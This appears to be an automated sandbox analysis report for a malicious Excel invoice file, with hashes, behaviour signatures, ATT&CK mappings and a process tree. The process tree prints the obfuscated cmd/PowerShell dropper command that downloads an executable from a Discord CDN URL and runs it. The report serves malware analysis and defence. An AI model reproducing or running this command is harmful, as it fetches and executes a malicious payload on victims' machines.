bf57ecd7a6c0166dd27f311cebda08ed8e9305cfaa66fe68131ba29250ba94f3

General

Target

Invoice-N192793.xls
Size

102KB
MD5

a88329a0eca1ff4a5d59dd6270d08267
SHA1

a812bbcb57431be5b0d436590ae4a53465bb1e25
SHA256

bf57ecd7a6c0166dd27f311cebda08ed8e9305cfaa66fe68131ba29250ba94f3
SHA512

a7bc77709e943d92af345073f639a54d195258020bf5b7ca178eae6b7c90a1d984f2af660aa6e5112ec8389ff0dd27493244e22540acc3ae80ac7792fe066ec5
SSDEEP

3072:4k3hOdsylKlgryzc4bNhZFGzE+cL2knAk6vy/sUeo0JSpfiXa:4k3hOdsylKlgryzc4bNhZF+E+W2knAj

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4184	4372	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

62 824 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

s2zq4.exe

pid process

2480 s2zq4.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2916 2480 WerFault.exe s2zq4.exe

flow	pid	process
62	824	powershell.exe

pid	process
2480	s2zq4.exe

pid	pid_target	process	target process
2916	2480	WerFault.exe	s2zq4.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4372 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

824 powershell.exe
824 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exes2zq4.exe

description pid process

Token: SeDebugPrivilege 824 powershell.exe
Token: SeDebugPrivilege 2480 s2zq4.exe

pid	process
824	powershell.exe
824	powershell.exe

description	pid	process
Token: SeDebugPrivilege	824	powershell.exe
Token: SeDebugPrivilege	2480	s2zq4.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

EXCEL.EXE

pid	process
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE
4372	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exe

description	pid	process	target process
PID 4372 wrote to memory of 4184	4372	EXCEL.EXE	cmd.exe
PID 4372 wrote to memory of 4184	4372	EXCEL.EXE	cmd.exe
PID 4184 wrote to memory of 824	4184	cmd.exe	powershell.exe
PID 4184 wrote to memory of 824	4184	cmd.exe	powershell.exe
PID 824 wrote to memory of 2480	824	powershell.exe	s2zq4.exe
PID 824 wrote to memory of 2480	824	powershell.exe	s2zq4.exe
PID 824 wrote to memory of 2480	824	powershell.exe	s2zq4.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Invoice-N192793.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4372

C:\Windows\SYSTEM32\cmd.exe
cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://cdn.discordapp.com/attachments/1036705838334746685/1046122909879513129/Sdcjiemg.e^xe -o C:\Users\Public\s2zq4.exe;C:\Users\Public\s2zq4.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4184

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /W 01 curl https://cdn.discordapp.com/attachments/1036705838334746685/1046122909879513129/Sdcjiemg.exe -o C:\Users\Public\s2zq4.exe;C:\Users\Public\s2zq4.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:824

C:\Users\Public\s2zq4.exe
"C:\Users\Public\s2zq4.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 1456
5⤵
- Program crash
PID:2916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2480 -ip 2480
1⤵
PID:4596

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\s2zq4.exe
Filesize
9KB

MD5
31274edfe5023d4e00bdd966a22da3ae

SHA1
fb3ea63b6c795952fe8a4662f9bf4a75c1f73212

SHA256
1d6945a059e726e60a3892d81c3f8f8bb985096ae059d0e9f4011340b86dd910

SHA512
b8d4fa949ec2f96ebd1efe5949e3c0833fb69076fcce346dabe5fd99a72bce8a8a764d7d5e283ee84c20a0b2b8da3537f4f7fbdc86374600063a835f980dd16b

Download Submit
C:\Users\Public\s2zq4.exe
Filesize
9KB

MD5
31274edfe5023d4e00bdd966a22da3ae

SHA1
fb3ea63b6c795952fe8a4662f9bf4a75c1f73212

SHA256
1d6945a059e726e60a3892d81c3f8f8bb985096ae059d0e9f4011340b86dd910

SHA512
b8d4fa949ec2f96ebd1efe5949e3c0833fb69076fcce346dabe5fd99a72bce8a8a764d7d5e283ee84c20a0b2b8da3537f4f7fbdc86374600063a835f980dd16b

Download Submit
memory/824-140-0x0000000000000000-mapping.dmp

Download
memory/824-146-0x00007FFD35E00000-0x00007FFD368C1000-memory.dmp

Filesize
10.8MB

Download
memory/824-142-0x00007FFD35E00000-0x00007FFD368C1000-memory.dmp

Filesize
10.8MB

Download
memory/824-141-0x0000025ACF7A0000-0x0000025ACF7C2000-memory.dmp

Filesize
136KB

Download
memory/2480-147-0x0000000000460000-0x0000000000468000-memory.dmp

Filesize
32KB

Download
memory/2480-143-0x0000000000000000-mapping.dmp

Download
memory/4184-139-0x0000000000000000-mapping.dmp

Download
memory/4372-134-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4372-135-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4372-137-0x00007FFD1E2C0000-0x00007FFD1E2D0000-memory.dmp

Filesize
64KB

Download
memory/4372-136-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4372-138-0x00007FFD1E2C0000-0x00007FFD1E2D0000-memory.dmp

Filesize
64KB

Download
memory/4372-133-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4372-132-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4372-149-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4372-150-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4372-152-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4372-151-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads